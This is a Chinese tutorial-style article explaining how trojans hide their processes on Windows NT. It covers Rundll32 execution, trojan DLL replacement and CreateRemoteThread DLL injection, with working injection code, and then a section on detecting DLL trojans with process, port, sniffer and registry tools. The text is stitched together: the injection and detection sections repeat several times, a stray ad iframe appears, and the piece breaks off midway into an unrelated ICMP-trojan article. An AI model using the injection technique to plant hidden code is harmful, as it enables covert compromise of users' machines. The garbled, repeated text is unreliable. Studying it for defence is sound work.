木马技术

木马技术
【编者按:】在揭开 木马的神秘面纱(三)发表后,有很多朋友来信询问如何在WINNT下隐藏木马的进程。本文会详细的分析WINNT中木马的几种常用隐藏进程手段,给大家揭示木马/后门程序在WINNT中进程隐藏的方法和查找的途径。
NT系统下木马进程的隐藏

  在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器,难道在WINNT下木马真的再也无法隐藏自己的进程了?

  我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一(无论手动还是防火墙),随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术(例如著名的FPort就能够检测出任何进程打开的TCP/UDP端口),假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败(利用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在NT下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。

  让系统管理员看不见进程的方法就是进行进程列表欺骗,为了了解如何看不见进程,我们首先要了解怎样能看得见进程:在Windows中有多种方法能够看到进程的存在:PSAPI(Process Status API),PDH(Performance Data Helper),ToolHelp API,如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的数据),我们就完全能实现进程隐藏,但是一来我们并不知道用户和入侵软件使用的是什么方法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。(例如:能够替换DLL或挂接API来隐藏进程不如直接用来做木马。)

  第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要先了解Windows系统的另一种“可执行文件”----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。(你你你,你刚刚不是说不用进程了?)别急呀,听我慢慢道来:因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。

  运行DLL文件最简单的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自带的动态链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而Rundll32是32位的(分别调用16位和32位的DLL文件),Rundll32的使用方法如下:

  Rundll32 DllFileName FuncName

  例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,那么,我们通过Rundll32.exe  MyDll.dll  MyFunc就可以执行MyFunc函数的功能。

  这个和木马的进程隐藏有什么关系么?当然有了,假设我们在MyFunc函数中实现了木马的功能,那么我们不就可以通过Rundll32来运行这个木马了么?在系统管理员看来,进程列表中增加的是Rundll32.exe而并不是木马文件,这样也算是木马的一种简易欺骗和自我保护方法(至少你不能去把Rundll32.exe删掉吧?想从Rundll32进程找到DLL木马还是有一点麻烦的)

  使用Rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦一点)比较高级的方法是使用特洛伊DLL,特洛伊DLL的工作原理是使用木马DLL替换常用的DLL文件,通过函数转发器将正常的调用转发给原DLL,截获并处理特定的消息。例如,我们知道WINDOWS的Socket1.x的函数都是存放在wsock32.dll中的,那么我们自己写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)我们的wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器forward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理论上只要木马编写者通过SOCKET远程输入一定的暗号,就可以控制wsock32.dll(木马DLL)做任何操作。特洛伊DLL技术是比较古老的技术,因此微软也对此做了相当的防范,在Win2K的system32目录下有一个dllcache的目录,这个目录中存放着大量的DLL文件(也包括一些重要的exe文件),这个是微软用来保护DLL的法宝,一旦操作系统发现被保护的DLL文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说有种种方法可以绕过DLL保护(例如先更改dllcache目录中的备份再修改DLL文件、或者利用KnownDLLs键值更改DLL的默认启动路径等),但是可以想见的未来微软必将更加小心地保护重要的DLL文件;同时由于特洛伊DLL方法本身有着一些漏洞(例如修复安装、安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算是DLL木马的最优选择。

  DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的(私人领地、请勿入内),但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。在多种动态嵌入技术中(窗口Hook、挂接API、远程线程),我最喜欢的是远程线程技术,这种技术非常简单,只要有基本的进线程和动态链接库的知识就可以很轻松地完成嵌入,下面就为大家介绍一下远程线程技术。


 

远程线程技术

  远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。

  首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
                PROCESS_VM_OPERATION | //允许远程VM操作
                PROCESS_VM_WRITE,//允许远程VM写
                FALSE, dwRemoteProcessId )

  由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

  然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)

 //计算DLL路径名需要的内存空间
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
            MEM_COMMIT, PAGE_READWRITE);
 //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 iReturnCode = WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 //计算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

 //启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                 pfnStartAddr, pszLibFileRemote, 0, NULL);

  至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
   {
    char szProcessId[64] ;
    switch ( reason )
     {
      case DLL_PROCESS_ATTACH:
       {
         //获取当前进程ID
         _itoa ( GetCurrentProcessId(), szProcessId, 10 );
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
       }
      default:
      return TRUE;
     }
   }

  当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到

   Process ID: 1208
   C:/WINNT/Explorer.exe (0x00400000)
   ……
   C:/TestDLL.dll (0x100000000)
   ……

  这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。

  无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

  这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。


 

DLL木马的查杀

  
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。

  DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。

一、 进程/内存模块查看器:

  为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。

PS工具可以在以下地址下载到:
http://www.patching.net/shotgun/ps.zip

  实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。

二、 端口进程关联软件:

  关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip

三、 嗅探器:

  嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:

代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe

四、 注册表保护软件:

  可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Control/Session Manager/KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址:
http://www.nttoolbox.com/public/tools/ntregmon.zip

五、 文件保护:

  除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则:
http://www.nttoolbox.com/public/tools/ntfilmon.zip

  DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。

  最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。

DLL木马的查杀

  
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。

  DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。

一、 进程/内存模块查看器:

  为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。

PS工具可以在以下地址下载到:
http://www.patching.net/shotgun/ps.zip

  实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。

二、 端口进程关联软件:

  关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip

三、 嗅探器:

  嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:

代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe

四、 注册表保护软件:

  可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Control/Session Manager/KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址:
http://www.nttoolbox.com/public/tools/ntregmon.zip

五、 文件保护:

  除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则:
http://www.nttoolbox.com/public/tools/ntfilmon.zip

  DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。

  最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。

远程线程技术

  远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。

  首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)

 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
                PROCESS_VM_OPERATION | //允许远程VM操作
                PROCESS_VM_WRITE,//允许远程VM写
                FALSE, dwRemoteProcessId )

  由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。

  然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)

 //计算DLL路径名需要的内存空间
 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
 //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
            MEM_COMMIT, PAGE_READWRITE);
 //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
 iReturnCode = WriteProcessMemory(hRemoteProcess,
            pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
 //计算LoadLibraryW的入口地址
 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
     GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

  OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:

 //启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件
 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
                 pfnStartAddr, pszLibFileRemote, 0, NULL);

  至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:

 BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
   {
    char szProcessId[64] ;
    switch ( reason )
     {
      case DLL_PROCESS_ATTACH:
       {
         //获取当前进程ID
         _itoa ( GetCurrentProcessId(), szProcessId, 10 );
         MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
       }
      default:
      return TRUE;
     }
   }

  当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到

   Process ID: 1208
   C:/WINNT/Explorer.exe (0x00400000)
   ……
   C:/TestDLL.dll (0x100000000)
   ……

  这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。

  无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。

  这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。


 

DLL木马的查杀

  
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。

  DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。

一、 进程/内存模块查看器:

  为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。

PS工具可以在以下地址下载到:
http://www.patching.net/shotgun/ps.zip

  实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。

二、 端口进程关联软件:

  关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip

三、 嗅探器:

  嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:

代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe

四、 注册表保护软件:

  可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Control/Session Manager/KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址:
http://www.nttoolbox.com/public/tools/ntregmon.zip

五、 文件保护:

  除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则:
http://www.nttoolbox.com/public/tools/ntfilmon.zip

  DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。

  最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。

DLL木马的查杀

  
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。

  DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。

一、 进程/内存模块查看器:

  为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。

PS工具可以在以下地址下载到:
http://www.patching.net/shotgun/ps.zip

  实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。

二、 端口进程关联软件:

  关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到:
http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip

三、 嗅探器:

  嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:

代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip
编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe

四、 注册表保护软件:

  可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Control/Session Manager/KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址:
http://www.nttoolbox.com/public/tools/ntregmon.zip

五、 文件保护:

  除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则:
http://www.nttoolbox.com/public/tools/ntfilmon.zip

  DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。

  最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。


  在揭开木马的神秘面纱(二)发表后,有很多朋友来信询问新型木马的详细情况,本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)

  大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。

  什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike
Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。

  实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。

  ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。

border="0" marginwidth="0" marginheight="0" src="http://219.239.88.50:80/adsunion/get/;pl=pl-20-pip-news;tp=if;sk=0;ck=0;/?" frameborder="0" noresize="noresize" width="1" scrolling="no" height="1">

  为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:

typedef struct iphdr {

 unsigned int version:4; // IP版本号,4表示IPV4

 unsigned int h_len:4; // 4位首部长度

 unsigned char tos; // 8位服务类型TOS

 unsigned short total_len; // 16位总长度(字节)

 unsigned short ident; //16位标识

 unsigned short frag_and_flags; // 3位标志位

 unsigned char ttl; //8位生存时间 TTL

 unsigned char proto; // 8位协议 (TCP, UDP 或其他)

